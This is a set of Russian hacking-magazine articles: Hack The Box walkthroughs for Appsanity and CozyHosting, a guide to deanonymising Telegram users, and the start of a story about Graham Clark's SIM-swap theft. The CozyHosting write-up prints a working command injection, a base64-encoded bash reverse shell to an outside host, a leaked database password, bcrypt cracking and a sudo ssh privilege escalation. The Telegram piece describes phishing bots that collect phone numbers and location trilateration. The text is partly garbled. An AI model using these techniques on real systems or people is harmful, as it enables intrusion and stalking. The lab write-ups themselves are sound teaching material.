 — сло варь;• -w

 — количес тво потоков;• -t

 — HTTP-заголо вок.• -H

За пус каем ска ниро вание:

ffuf      128 -u "https://meddigi.htb/" -H 'Host: FUZZ.meddigi.htb' -t -w 
subdomains-top1million-110000.txt 

Ре зуль тат ска ниро вания под доменов

Спус тя пару минут получа ем еще один под домен, который тоже добав ляем
в ./etc/hosts

10.10.11.238 appsanity.htb meddigi.htb portal.meddigi.htb 

Глав ная стра ница сай та portal.meddigi.htb

Те перь перей дем к ана лизу самих сай тов.

ÒÎ×ÊÀ ÂÕÎÄÀ

Ïîâûøåíèå ïðèâèëåãèé íà ñàéòå

На пер вом сай те, в отли чие от вто рого, есть воз можность регис тра ции.

Фор ма авто риза ции сай та meddigi.htb

Ав торизо вав шись на сай те, получа ем стра ницу про филя, где есть нес коль ко
полей вво да и даже воз можность отпра вить сооб щение кому-то.

Со дер жимое стра ницы Prole

Но ничего инте рес ного най ти не уда лось, поэто му вер немся в самое начало
и прос мотрим все зап росы в . В гла за бро сил ся параметр

 в зап росе на авто риза цию.
Burp History

Acctype

Зап рос на авто риза цию

Вый дем из сво его про филя на сай те, акти виру ем перех ват зап роса в 

 и сно ва прой дем авто риза цию. Но в этот раз в перех вачен ном зап росе

изме ним зна чение парамет ра  на 2.

Burp

Proxy

Acctype

Зап рос на авто риза цию

Про филь поль зовате ля

На этот раз мы авто ризо вались как док тор, и стра ница про филя содер жит
новые эле мен ты.

Îáõîä àâòîðèçàöèè

Но сно ва ничего инте рес ного най ти не уда лось. Одна ко здесь исполь зует ся
сес сия AspNet, а зна чит, мож но про верить токен дос тупа на дру гом сай те.
Вдруг исполь зует ся общий механизм авто риза ции. Для это го копиру ем
cookie с сай та, где мы уже авто ризо вались, и исполь зуем их на 

.
portal.

meddigi.htb

Зап рос к portal.meddigi.htb

Глав ная стра ница сай та portal.meddigi.htb

И получа ем дос туп к дру гому сай ту от име ни авто ризо ван ного поль зовате ля.
Но так как куки встав лялись через Burp, мы не смо жем гулять по все му сай ту.
Давай откро ем бра узер и закинем токен дос тупа в хра нили ще Cookies.

Хра нили ще бра узе ра

Те перь у нас есть пол ноцен ный дос туп ко всем механиз мам веб-при ложе ния.
На одной из стра ниц раз реша ют сох ранять документ по ссыл ке, что может
при вес ти к SSRF. На дру гой стра нице мож но заг ружать фай лы, а это потен- 
циаль но ведет к воз можнос ти залить шелл.

Со дер жимое стра ницы Prescriptions

Со дер жимое стра ницы examreport

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
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ВЗЛОМ

Се год ня мы с тобой порабо таем с фрей- 
мвор ком Spring Boot и про ведем инъ екцию
команд, что бы получить дос туп к веб-сер- 
веру. Зах ватив сес сию, покопа емся в базе
дан ных в поис ках учет ных дан ных, а при
повыше нии при виле гий при меним тех нику
GTFOBins для SSH.

На ша цель — получе ние прав супер поль зовате ля на машине CozyHosting
с учеб ной пло щад ки . Уро вень слож ности машины — лег кий.Hack The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.230   cozyhosting.htb 

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел два откры тых пор та:
22 — служ ба OpenSSH 8.9p1;•
80 — веб-сер вер Nginx 1.18.0.•

По обык новению, сра зу перехо дим к прос мотру сай тов на веб-сер вере.

Глав ная стра ница сай та

ÒÎ×ÊÀ ÂÕÎÄÀ

На сай те ничего инте рес ного най ти не уда лось, поэто му прис тупим к ска- 
ниро ванию скры тых катало гов и фай лов.

Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де ,  или . Я пред почитаю

.
dirsearch DIRB ffuf

feroxbuster
При запус ке ука зыва ем сле дующие парамет ры:

 — URL;• -u

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков.• -t

За пус каем ска нер:

 256 feroxbuster -u http://cozyhosting.htb/ -t -w files_interesting.
txt 

Ре зуль тат ска ниро вания катало гов с помощью feroxbuster

В отче те видим зак рытую админку ( ), стра ницу авто риза ции ( ),

а так же каталог .

/admin /login
/actuator

Spring Boot Actuator — это под про ект Spring Boot Framework. Он исполь- 
зует эндпо инты HTTP для пре дос тавле ния опе ратив ной информа ции о любом
запущен ном при ложе нии. Основное пре иму щес тво этой биб лиоте ки в том,
что адми нис тра тор получа ет показа тели работос пособ ности и монито рин га
из готовых к работе при ложе ний. К тому же Actuator — это удоб ное средс тво
для сбо ра мет рик и информи рова ния о сос тоянии базы дан ных. Пер вым
делом про верим конеч ные точ ки Actuator.

curl http://cozyhosting.htb/actuator | jq 

Ко неч ные точ ки Actuator

Те перь мож но обра тить ся к каж дой из них и получить информа цию о той
или иной стра нице. К при меру,  отоб разит спи сок

сущес тву ющих в дан ный момент сес сий на сай те.

/actuator/sessions

curl http://cozyhosting.htb/actuator/sessions | jq 

Спи сок иден тифика торов сес сий

Эн дпо инт  даст нам кар ту сай та./actuator/mappings

curl http://cozyhosting.htb/actuator/mappings | jq 

Спи сок стра ниц сай та

Спи сок стра ниц сай та (про дол жение)

От меча ем для себя инте рес ную стра ницу , при нима ющую POST-
дан ные. Это потен циаль но путь к уда лен ному исполне нию кода. Так же в ска не
не было стра ницы . Что бы получить к дос туп к этим адре сам, сна- 

чала нуж но авто ризо вать ся.

/executessh

/addhost

ÒÎ×ÊÀ ÎÏÎÐÛ

У нас есть нес коль ко иден тифика торов сес сий, некото рые из них для неав- 
торизо ван ных поль зовате лей, а некото рые для поль зовате ля .

Откро ем в бра узе ре средс тва раз работ ки, перей дем к нас трой кам при ложе- 
ния и в локаль ном хра нили ще раз вернем сох ранен ные cookies. Затем
выбира ем из спис ка текущий сайт и меня ем зна чение . Пос ле

обновле ния стра ницы перехо дим к зак рытой до это го стра нице .

kanderson

JSESSIONID
/admin

Ло каль ное хра нили ще при ложе ния в бра узе ре

Стра ница /admin

Здесь есть фор ма для про вер ки соеди нения SSH, видимо, она и обра щает ся
к стра нице . Дела ем тес товый зап рос и перех ватыва ем дан ные
в . Так как адрес сер вера и имя поль зовате ля, ско рее все го,

прос то переда ются коман де SSH в коман дную стро ку, исполь зуем сим вол 

для раз деления «команд».

/executessh
Burp Proxy

;

Ре зуль тат выпол нения зап роса

Ви дим сооб щение об ошиб ке , так как реаль ная коман да

была отде лена сим волом . Теперь переда ем самую обыч ную наг рузку

для инъ екции команд ОС.

command not found
;

Ре зуль тат выпол нения зап роса

В отве те получа ем часть вывода выпол ненной коман ды . Так как про вер ка

прош ла успешно, откры ваем лис тенер  и выпол няем

реверс-шелл:

id
pwncat-cs -lp 4321

 /bin/bash -i >& /dev/tcp/10.10.16.18/4321 0>&1 

За коди руем его в Base64 и переда дим в виде вот такой конс трук ции:

  |  echo '/bin/bash -i >& /dev/tcp/10.10.16.18/4321 0>&1' base64 -w0

echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjE4LzQzMjEgMD4mMQo=
|base64 -d | bash 

Ре зуль тат выпол нения зап роса

Но сно ва получим ошиб ку, на этот раз свя зан ную с наличи ем в наг рузке про- 
белов. Заменить их очень прос то. К при меру, мож но исполь зовать пос- 
ледова тель ность , которая вос при нима ется опе раци онной сис темой

как раз делитель по умол чанию, то есть про бел. Сно ва выпол няем зап рос и на
этот раз получа ем сес сию от име ни поль зовате ля .

${IFS}

app

Сес сия поль зовате ля app

ÏÐÎÄÂÈÆÅÍÈÅ

В домаш нем катало ге учет ной записи находим само при ложе ние.

Со дер жимое катало га app

Так как это файл .jar, мы можем его деком пилиро вать и про ана лизи ровать
исходный код. Для заг рузки фай ла с уда лен ного хос та исполь зуем pwncat-cs.
Для это го сна чала ком бинаци ей кла виш Ctrl-D выходим в основное меню лис- 
тенера, коман дой  ска чива ем файл и коман дой  воз вра щаем ся
обратно в сес сию.

download back

Заг рузка фай ла

Пер вым делом разар хивиру ем все фай лы и про верим нес коль ко важ ных
строк вро де ,  и .passw secret token

По иск подс тро ки passw

И находим какой-то пароль в фай ле . Давай пос- 

мотрим все содер жимое это го фай ла.

application.properties

Со дер жимое фай ла application.properties

Мы наш ли учет ные дан ные для под клю чения к СУБД PostgreSQL. Не забыва ем
при менить этот пароль к дру гим поль зовате лям в сис теме, хотя в этот раз
ничего и не получа ется. Под клю чим ся к базе  и пос мотрим,

какие там есть таб лицы.

cozyhosting

psql "postgresql://postgres:Vg&nvzAQ7XxR@localhost:5432/cozyhosting"

\dt

Таб лицы в базе дан ных cozyhosting

На ибо лее инте рес на нам таб лица , получим из нее все записи.users

   select * from users;

Со дер жимое таб лицы users

Это хеши bcrypt, и нам нуж но их взло мать. Для перебо ра при помощи hashcat
ему надо будет ука зать соот ветс тву ющий режим. Если мы его не зна ем, мож- 
но поис кать в справ ке:

 |    hashcat --example grep '\$2a\$' -B12 -A1

Справ ка hashcat

По луча ем режим 3200, его необ ходимо ука зать в парамет ре  при запус ке
hashcat.

-m

hashcat -m 3200 -a 0 hashes.txt rockyou.txt 

Ре зуль тат работы hashcat

По луча ем один пароль, который сно ва про буем исполь зовать для логина
от име ни сис темных поль зовате лей. Их спи сок мож но узнать из фай ла 

.

/etc/
passwd

Со дер жимое фай ла /etc/passwd

По луча ем воз можность под клю чать ся по SSH, а так же исполь зовать коман ду
 для сме ны юзе ра.su

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Один из самых час тых методов повыше ния при виле гий — через коман ды,
ука зан ные в фай ле .sudoers

Файл  в Linux содер жит спис ки команд, которые раз ные груп пы
поль зовате лей могут выпол нять от име ни адми нис тра тора сис темы. Мож но
прос мотреть его как нап рямую, так и при помощи коман ды .

/etc/sudoers

sudo -l

Нас трой ки судо ера

Те кущий поль зователь может выпол нить коман ду  в при виле гиро ван ном

кон тек сте. Пер вым делом про веря ем наличие тех ник GTFOBins для SSH.

ssh

 — это спи сок исполня емых фай лов Unix, которые мож но исполь- 
зовать для обхо да локаль ных огра ниче ний безопас ности в неп равиль но нас- 
тро енных сис темах. Про ект собира ет информа цию о спо собах исполь зовать
закон ные фун кции исполня емых фай лов Unix таким обра зом, что бы получить
дос туп к коман дным обо лоч кам, повысить при виле гии или передать фай лы.

GTFOBins

Опи сание экс плу ата ции SSH для получе ния шел ла

На ходим три под ходящих вари анта получе ния коман дной обо лоч ки
при выпол нении коман ды SSH. Вто рая най ден ная коман да при исполь- 
зовании sudo дает нам шелл в при виле гиро ван ном кон тек сте.

ssh   x sudo -o ProxyCommand=';sh 0<&2 1>&2'

Флаг рута

Ма шина зах вачена!

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
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https://gtfobins.github.io/
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ПРИВАТНОСТЬ

Telegram толь ко кажет ся ано ним ным.
На деле сущес тву ет мно жес тво методик
и инс тру мен тов для деано ними зации поль- 
зовате лей мес сен дже ра, и имен но о них
пой дет речь в статье. Мы рас смот рим
боты-ловуш ки, исполь зование спе циаль ных
сер висов, а так же дру гие методи ки.

В моем  я пишу о методах и инс- 
тру мен тах OSINT. Ну а для тех, кто хочет углу бить- 
ся в тему, есть автор ский курс.

Telegram-канале

Чи тай так же мой пре дыду щий матери ал о поис- 
ке поль зовате лей Telegram с помощью дан ных
из откры тых источни ков: «

».

Это он, деанон! Про- 
бива ем поль зовате лей Telegram по откры тым
источни кам

ÁÎÒÛ-ËÎÂÓØÊÈ

Для исполь зования это го спо соба деано ними зации пот ребу ется нем ного
соци аль ной инже нерии. Методи ка работа ет по прин ципу фишин га: жер тва
заходит в бот, и для даль нейше го его исполь зования зап рашива ется отправ- 
ка номера телефо на (это встро енная фун кция мес сен дже ра). Далее,
в зависи мос ти от фан тазии соз дателя, бот либо игно риру ет сооб щения, либо
выпол няет какие-то полез ные фун кции, но глав ное — вла делец робота
получа ет номер поль зовате ля.

Са мое инте рес ное, что у тебя нет ни малей шей необ ходимос ти писать с нуля
собс твен ный бот, потому что есть уже готовые решения. Нап ример,

 или .@protestchat_bot @Checknumb_bot
Ре зуль тат мож но получить, вве дя ID целево го акка унта у бота

.@TgAnalyst_bot
Здесь же мож но про верить ID по базе, соб ранной тем же методом дру- 

гими поль зовате лями и осно вате лями про екта.
Од нако луч ше, конеч но, написать бот самос тоятель но, но и для это го есть

наработ ки —  на . Ими мож но вос поль зовать ся без редак- 
туры, они поз волят сра зу соз дать нес коль ко пол ноцен ных ботов «из короб ки».
При этом ты можешь выб рать из нес коль ких темати чес ких вари антов бота:
нак рутка под писчи ков в инстаг раме, онлайн-зна комс тва, донат в компь ютер- 
ную игру и поиск информа ции по номеру телефо на.

ре пози тории GitHub

Сбор информа ции о час тной жиз ни граж дан
без их сог ласия незако нен, пом ни об этом.
В этой статье рас ска зыва ется о поис ке в откры- 
тых источни ках дан ных, которые люди оставля ют
в пуб личном дос тупе сами. Но в любом слу чае
нуж но соб людать тре бова ния законо датель ства
и ува жать пра во граж дан на сох ранение их при- 
ват ности. Поэто му информа ция в статье пре дос- 
тавле на исклю читель но в озна коми тель ных целях.
Авто ры и редак ция не несут ответс твен ности
за любой воз можный вред, при чинен ный исполь- 
зовани ем матери алов этой пуб ликации.

Но пом ни, что основная задача — все-таки зас тавить поль зовате ля поделить- 
ся номером, поэто му дей ствие это дол жно быть мотиви рова но. А мотива цию
мы выбира ем инди виду аль но под каж дую цель, зна чит, и темати ка бота, ско- 
рее все го, будет раз ной. Кто-то поделит ся номером ради оцен ки подер- 
жанно го авто моби ля, кто-то — что бы най ти инте рес ный фильм, кого-то заин- 
тересу ет ска чива ние видео с YouTube. Поэто му боты при дет ся соз давать раз- 
ные под каж дый кейс, а основной код мож но ско пиро вать из упо мяну тых
репози тори ев.

ÏÎËÓ×ÀÅÌ ÌÅÑÒÎÏÎËÎÆÅÍÈÅ

В 2019 году в Telegram появи лась новая фун кция — «Люди рядом». Она поз- 
воля ет поль зовате лям делить ся сво им мес тополо жени ем, что бы находить
кон такты и чаты поб лизос ти. Затем опре деле ние точ ного мес тополо жения
убра ли, одна ко локацию в ради усе 500 мет ров мож но переда вать до сих пор.

Ко неч но, OSINT-спе циалис ты такую инте рес ную воз можность не упус тили
и соз дали нес коль ко инс тру мен тов для экс плу ата ции фичи. Работа ют они
сле дующим обра зом.

На рабочем акка унте вклю чает ся фун кция «Люди рядом» и зада ются те
коор динаты, в которых пред положи тель но находит ся цель. Каж дые 25 секунд
всем бли жай шим к ука зан ной точ ке поль зовате лям будет отправ лять ся 
из Telegram. В него вхо дит рас сто яние каж дого бли жай шего поль зовате ля
до тво его мес тополо жения. Исполь зуя три рас сто яния от трех раз ных точек,
мож но вычис лить мес тополо жение бли жай шего поль зовате ля.

TDLib

При этом будут най дены толь ко те поль зовате ли Telegram, у которых акти- 
виро вана фун кция «поб лизос ти». По умол чанию она отклю чена. И конеч но,
для начала тебе необ ходимо иметь хотя бы при мер ное пред став ление о мес- 
тонахож дении объ екта тво его инте реса. Мож но пов торять поиск в нес коль ких
мес тах, если исходная область слиш ком боль шая.

По доб ных сер висов я нашел три, прин цип работы у них оди нако вый:
;• Geogramint

;• Telegram-nearby-map
.• Telegram-Trilateration

ÅÙÅ ÁÎËÜØÅ ÏÎÈÑÊÎÂÈÊÎÂ

В  я уже писал про поис ковики, спо соб ные искать в чатах
и каналах Telegram. В них мож но вбить юзер нейм, ник нейм или ID цели: воз- 
можно, эти иден тифика торы где-то упо мина лись и мы получим допол нитель- 
ную информа цию. Так как база источни ков у этих сер висов раз ная, име ет
смысл поис кать в каж дом. Поэто му я решил допол нить этот спи сок.

прош лой статье

 — пред назна чен для адми нов телег рам-каналов, но чаще исполь- 
зует ся как поис ковая сис тема;

• Tgstat

 — поис ковая сис тема по мес сен дже ру;• Telegramd
 — бес плат ный про дукт от круп ного сер виса для монито рин га СМИ

и медиа.
• Kribrum

Есть и поис ковики, соз данные энту зиас тами на базе воз можнос тей Google.
Ищут они по опре делен ным ресур сам «Телег рама», где содер жатся сооб- 
щения и пуб ликации:

;• Telegago
;• cse.google.com (1)
.• cse.google.com (2)

ÀÐÕÈÂÛ

Те перь перей дем к дру гому аспекту телег рам-рас сле дова ний — деано ними- 
зации вла дель цев телег рам-каналов. Неред ки слу чаи, ког да автор канала
пуб лику ет в пос тах, опи сании или заголов ке опре делен ную информа цию,
каса ющуюся его лич ной жиз ни. В общем, любые све дения, которые могут
помочь в рас сле дова нии. Поз же он уда ляет ее по при чине, нап ример, пере- 
ориен тации канала, а может, све дения и вов се были опуб ликова ны слу чай но.

По это му у иссле дова теля дол жны быть инс тру мен ты, сох раня ющие кон-
тент каналов и пре дос тавля ющие дос туп к копи ям. В некото рых слу чаях ему
помогут всем извес тные онлайн-архи вы:

 — самый круп ный веб-архив в мире. Кста ти, что бы удоб но ска- 
чивать информа цию отту да, мож но вос поль зовать ся ути литой

;

• Archive.org

waybackpack
 — аль тер натив ный вари ант;• Archive.today

 — быв ший евро пей ский архив, недав но пере ехал. При поис ке
ука жи дату, что бы уви деть архи вы;

• Archive.eu

 — архив, который пре дос тавля ет дос туп к стра ницам, сох- 
ранен ным дру гими поль зовате лями.

• Webcitation

Так же сто ит пос мотреть в . Кро ме того, есть и решения,
ори енти рован ные кон крет но на Telegram. Нап ример, сайт  поз воля ет
смот реть исто рию наз ваний, опи саний, ссы лок и лен ты канала. Неверо ятно
полез ный инс тру мент.

ке широ ван ных копи ях
Tgstat

Ес ли в Tgstat не наш лось ничего инте рес ного, мож но про лис тать лен ту
пос тов в аль тер натив ных сер висах:

;• Linkbaza
;• Tgoop

.• Telemetr

ÄÅÀÍÎÍ ÏÎ ÑÒÈÊÅÐÓ

Ес ли ты поль зуешь ся сти кера ми в Telegram, знай, что в каж дом сти кере
содер жится ID авто ра. Думаю, ты замечал, что мно гие каналы соз дают фир- 
менные сти кер паки. Имея в рас поряже нии сти кер пак, мы можем из кода эле- 
мен та узнать ID его соз дателя. Про цесс извле чения авто мати зиро ван в боте

, прос то переш ли ему сти кер.@SPOwnerBot
По лучен ный ID необя затель но будет при над лежать вла дель цу канала

или его зна комо му, воз можно, сти кер пак заказа ли у сто рон него дизай нера —
это нуж но учи тывать.

ÈÇÓ×ÀÅÌ ÑÊÐÛÒÎÅ ÑÎÄÅÐÆÈÌÎÅ Â ÎÏÈÑÀÍÈÈ ÊÀÍÀËÀ

Ну и напос ледок — еще одна инте рес ная фича. Метод акту ален в том слу чае,
если у нас есть ссыл ка на при ват ный канал, в который нет воз можнос ти всту- 
пить. Тог да единс твен ное, что у нас име ется, — это пред прос мотр в бра узе- 
ре.

Од нако Telegram час то скры вает часть опи сания канала, которая может
содер жать полез ные све дения. То есть в режиме пред варитель ного прос- 
мотра ты будешь видеть непол ное опи сание канала. Одна ко на самом деле
информа ция там пред став лена пол ностью, но скры та в коде эле мен та. Что бы
ее уви деть:
1. Наж ми пра вую кноп ку мыши.
2. Най ди эле мент . В зависи мос ти от бра узе ра он

находит ся в раз ных мес тах, рас кры вай раз личные кус ки кода, что бы обна- 
ружить его. Нап ример, в Яндекс Бра узе ре он находит ся здесь:

tgme_page_description

body > div.tgme_page_wrap > div.tgme_body_wrap > div > div.tgme_page_
description 

Этот эле мент содер жит пол ное опи сание канала, в отли чие от поль зователь- 
ско го вари анта.

ÂÛÂÎÄÛ

Пе речис ленные методы откры вают инте рес ные воз можнос ти для деано ними- 
зации поль зовате лей и каналов, одна ко глав ное — пом нить: сбор информа- 
ции о физичес ких лицах незако нен, будь осто рожен при работе с пер сональ- 
ными дан ными и не исполь зуй получен ные све дения во вред.

https://t.me/Digitalntelligence
https://t.me/Digitalntelligence
https://xakep.ru/2023/03/02/telegram-deanon/
https://t.me/protestchat_bot
https://t.me/Checknumb_bot
https://t.me/TgAnalyst_bot
https://github.com/lamer112311/Dnnme2
https://github.com/lamer112311/Telephish
https://core.telegram.org/tdlib
https://github.com/Alb-310/Geogramint
https://github.com/tejado/telegram-nearby-map
https://github.com/jkctech/Telegram-Trilateration/tree/master/API
https://xakep.ru/2023/03/02/telegram-deanon/
https://tgstat.ru/search
https://www.telegramdb.org/
https://kribrum.io/
https://cse.google.com/cse?cx=006368593537057042503%3Aefxu7xprihg&ref=exploit.media#gsc.tab=0
https://cse.google.com/cse?cx=f4046a4505f1e4b48
https://cse.google.com/cse?cx=004805129374225513871%3Ap8lhfo0g3hg
https://archive.org/
https://github.com/jsvine/waybackpack
https://archive.today/
https://archive.eu/
https://webcitation.org/query
https://cache.pw/
https://tgstat.com/
https://linkbaza.com/
https://www.tgoop.com/
https://telemetr.io/
https://t.me/SPOwnerBot
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ПРИВАТНОСТЬ

16 мар та 2021 года к заседа нию окружно го
суда города Там па по Zoom под клю чил ся
обви няемый: бри тый наголо щуп лый 17-
лет ний под росток в обя затель ной медицин- 
ской мас ке на лице. Этот тихий паренек
под нял нес коль ко мил лионов бак сов, начав
с Minecraft, ока зал ся замешан в убий стве,
а потом взло мал Twitter-акка унты Мас ка,
Оба мы, Гей тса, Безоса, Бай дена и дру гих
зна мени тос тей, на чем и попал ся. Вот его
исто рия.

Грэм Айвен Кларк на суде

В 14-лет нем воз расте Грэм Айвен Кларк был похож на мно гих сво их сверс- 
тни ков, живущих с мамой и ред ко вылеза ющих из-за кла виату ры — толь ко
затем, что бы переку сить или схо дить в ненавис тную шко лу. Пожалуй, от дру- 
гих тиней дже ров его отли чало лишь то, что Грэм в столь юном воз расте начал
зараба тывать весь ма при лич ные день ги, играя в Minecraft, затем хак нул
извес тно го финан систа и гла ву хедж-фон да, украв у него нес коль ко мил- 
лионов дол ларов, а на десерт совер шил взлом, который поз же наз вали
«самым круп ным инци ден том в исто рии Twitter». И все это — до того момен та,
как ему исполни лось 18 и он стал совер шенно лет ним по законам шта та Фло- 
рида, где парень родил ся и жил.

MINECRAFT

Minecraft Грэм Кларк увлекся в шко ле, а дома про водил за ком пом часы нап- 
ролет, бегая по вымыш ленно му миру вмес те с дру гими игро ками. Тог да же он
соз дал на YouTube канал, пос вящен ный любимой игре, на котором наде ялся
зарабо тать за счет монети зации. Нес мотря на то что Грэм наб рал опре- 
делен ное количес тво пос тоян ных под писчи ков, серь езных доходов это не
при носи ло, и он решил нем ного рас ширить биз нес.

Его YouTube-канал был пос вящен явле нию, извес тно му сре ди игро ков
в Minecraft как hardcore factions. Так называ ют аль янсы игро ков, которые сов- 
мес тно могут пре тен довать на опре делен ную тер риторию, работать
над стро итель ством базы, налажи вать вза имоот ношения с дру гими фрак- 
циями или, наобо рот, всту пать с ними в кон флик ты. Базы поз воля ют безопас- 
но хра нить добытые чле нами фрак ции игро вые пред меты. При этом учас тни ки
аль янса могут сра жать ся с чле нами дру гих фрак ций в надеж де победить их,
что бы затем совер шить набег на вра жес кую базу и заб рать цен ный лут.

Грэм в основном пуб ликовал видео с «ловуш ками» — хит рыми спо соба ми
убий ства дру гих игро ков (некото рые из ловушек, как потом приз нали его зна- 
комые, были пос тановоч ными, в свя зи с чем показан ные при емы невоз можно
было при менить на прак тике).

В ту пору необы чай ную популяр ность заво ева ли чит-кли енты для PVP-
режима Minecraft: став ки были нас толь ко высоки, что мно гие учас тни ки «хар- 
дкор ных фрак ций» вынуж денно исполь зовали PVP-читы, что бы оста вать ся
кон курен тоспо соб ными. Грэм начал рек ламиро вать в сво ем канале подоб ные
прог раммы, потом стал понем ногу при тор говывать ими сре ди сво их зри- 
телей.

Сле дующий шаг на пути к успе ху — рас простра нение под видом чит-кли- 
ентов раз ных инс тру мен тов уда лен ного адми нис три рова ния из катего рии
RAT, а так же бэк доров с целью воровс тва игро вых акка унтов. Куп ля-про дажа
чле нам хар дкор ных фрак ций угнанных игро вых уче ток при носи ла зна читель но
боль ший доход, чем рек лама на YouTube.

Зна комые с ним сверс тни ки вспо мина ют, что Грэм был очень общи тель- 
ным пар нем и обла дал даром крас норечия, с помощью которо го без осо бого
тру да убеж дал окру жающих делать то, что ему надо. Нап ример, манипу лируя
людь ми, он уго вари вал их бес плат но помогать ему в соз дании роликов
для YouTube.

Од нажды 14-лет ний Кларк задумал запус тить собс твен ный PVP-сер вер
Minecraft, одна ко ему недос тавало для это го тех ничес ких зна ний. Тог да он
отыс кал в интерне те нес коль ких исполни телей для этой затеи и убе дил их
при соеди нить ся к про екту, а ког да те выпол нили всю необ ходимую работу,
без малей ших заз рений совес ти кинул их.

При меча тель но, что, если кто-то из под писчи ков пытал ся разоб лачить
Грэ ма, тот отно сил ся к это му абсо лют но индиффе рен тно. Ему было глу боко
пле вать, что дума ют о нем окру жающие: Клар ка инте ресо вал толь ко биз нес.

ÊÒÎ ÕÎ×ÅÒ ÑÒÀÒÜ ÌÈËËÈÎÍÅÐÎÌ?

За раба тывая на про даже угнанных игро вых акка унтов, Грэм втя нул ся в обще- 
ние с зав сегда таями хакер ских форумов, тор говав ших укра ден ными учет- 
ными запися ми соци аль ных сетей и «кра сивы ми юзер ней мами». Для добычи
таких уче ток исполь зовались раз личные методы — соци аль ная инже нерия,
фишинг и рас простра нение мал вари.

Кларк с искрен ним инте ресом при нял ся изу чать всю эту хакер скую кух ню,
стре митель но набира ясь опы та у прод винутых форум чан. Боль ше все го его
заин тересо вал при ем под наз вани ем SIM-сво пинг, или :
под этим понима ется перенап равле ние всех вызовов и сооб щений с номера
жер твы на телефон мошен ника путем дуб лирова ния сим ки.

под мена SIM-кар ты

Ут ром 15 апре ля 2019 года извес тный инвестор, финан сист и осно ватель
хедж-фон да Грег Бен нет неожи дан но обна ружил, что его мобиль ный телефон
перес тал при нимать звон ки и SMS, да и вооб ще боль ше не видит сеть. Грег
не смог вой ти в свои акка унты в соци аль ных сетях или про читать сооб щения
элек трон ной поч ты.

Бен нет тут же поз вонил в служ бу тех ничес кой под дер жки сотово го опе- 
рато ра — ком пании AT&T, но там ему сооб щили, что ничем не могут помочь:
его SIM-кар та была перевы пуще на и теперь под клю чена к дру гому мобиль- 
ному телефо ну. Нес коль кими часами ранее кто-то зап росил сброс пароля
для элек трон ного поч тового ящи ка Бен нета, пра виль но отве тил на кон троль- 
ные воп росы, а затем, сме нив пароль, зашел в лич ный кабинет на сай те
мобиль ного опе рато ра и заказал новую сим ку.

Грег Бен нет

Зло умыш ленни ком, столь успешно выпол нившим эту ата ку, был Грэм Кларк
в ком пании c нес коль кими сооб щни ками. Вос поль зовав шись получен ным
дос тупом, Кларк похитил со сче та Гре га Бен нета на Binance 100 бит коинов
и 64 аль тко ина в виде раз личных токенов. На тот момент сум ма ущер ба сос- 
тавила 856 тысяч дол ларов США, а по сегод няшне му кур су сто имость
похищен ного пре выси ла бы шесть мил лионов дол ларов.

Пос ле это го Грэм, по сви детель ствам сво их быв ших школь ных при яте лей,
«сле тел с катушек». Он стал покупать дорогую дизай нер скую одеж ду, при- 
обрел новень кий белос нежный BMW и инкрус тирован ные стра зами часы
Rolex. Все это богатс тво и рос кошь он выс тавлял напоказ в сво ем инстаг- 
рам-акка унте @error (сей час этот акка унт уда лен).

На сче тах жер твы ограбле ния еще оста вались день ги, и Кларк похитил бы
их тоже, одна ко Бен нет уста новил лимит на мак сималь ную сум му опе раций.
Это его и спас ло. Не сумев вывес ти средс тва, обу рева емый жад ностью Кларк
свя зал ся с Бен нетом и пред ложил ему вер нуть дос туп ко всем укра ден ным
акка унтам, если тот переве дет ему оставши еся 50 бит коинов. Бен нет отка- 
зал ся.

Од нако жад ность не поз волила Клар ку тихо смыть ся с укра ден ными день- 
гами и залечь на дно: парень решил кинуть сво их сооб щни ков, помогав ших
ему взла мывать поч ту Бен нета и обна личи вать крип ту, не зап латив тем обе- 
щан ный про цент. Кларк разом исчез из всех мес сен дже ров.

Быв шие сооб щни ки даже попыта лись свя зать ся с ним через взло ман ную
поч ту Бен нета, обе щая сдать Грэ ма полиции, если тот не выпол нит свои обя- 
затель ства и не передаст им 66% похищен ного. Они выяс нили адрес,
по которо му 17-лет ний Кларк про живал с мамой, но не смог ли зас тать его
дома. Тог да быв шие подель ники решили слить кидалу копам.

Ре зуль татом это го про тивос тояния ста ло уго лов ное дело и ордер
на обыск, с которым полицей ские наг рянули домой к Клар ку ран ним августов- 
ским утром 2019 года. Сле дова тели кон фиско вали у Грэ ма 15 тысяч дол ларов
налич ными и 400 бит коинов на крип токошель ке, что ока залось опре делен но
боль ше укра ден ной у Гре га Бен нета сум мы. Кос венно изъ ятое сви детель- 
ство вало о том, что Кларк был замешан в каких-то иных финан совых махина- 
циях.

ÓÁÈÉÑÒÂÎ

На вре мя рас сле дова ния Кларк остался без денег и компь юте ра, но при выч ка
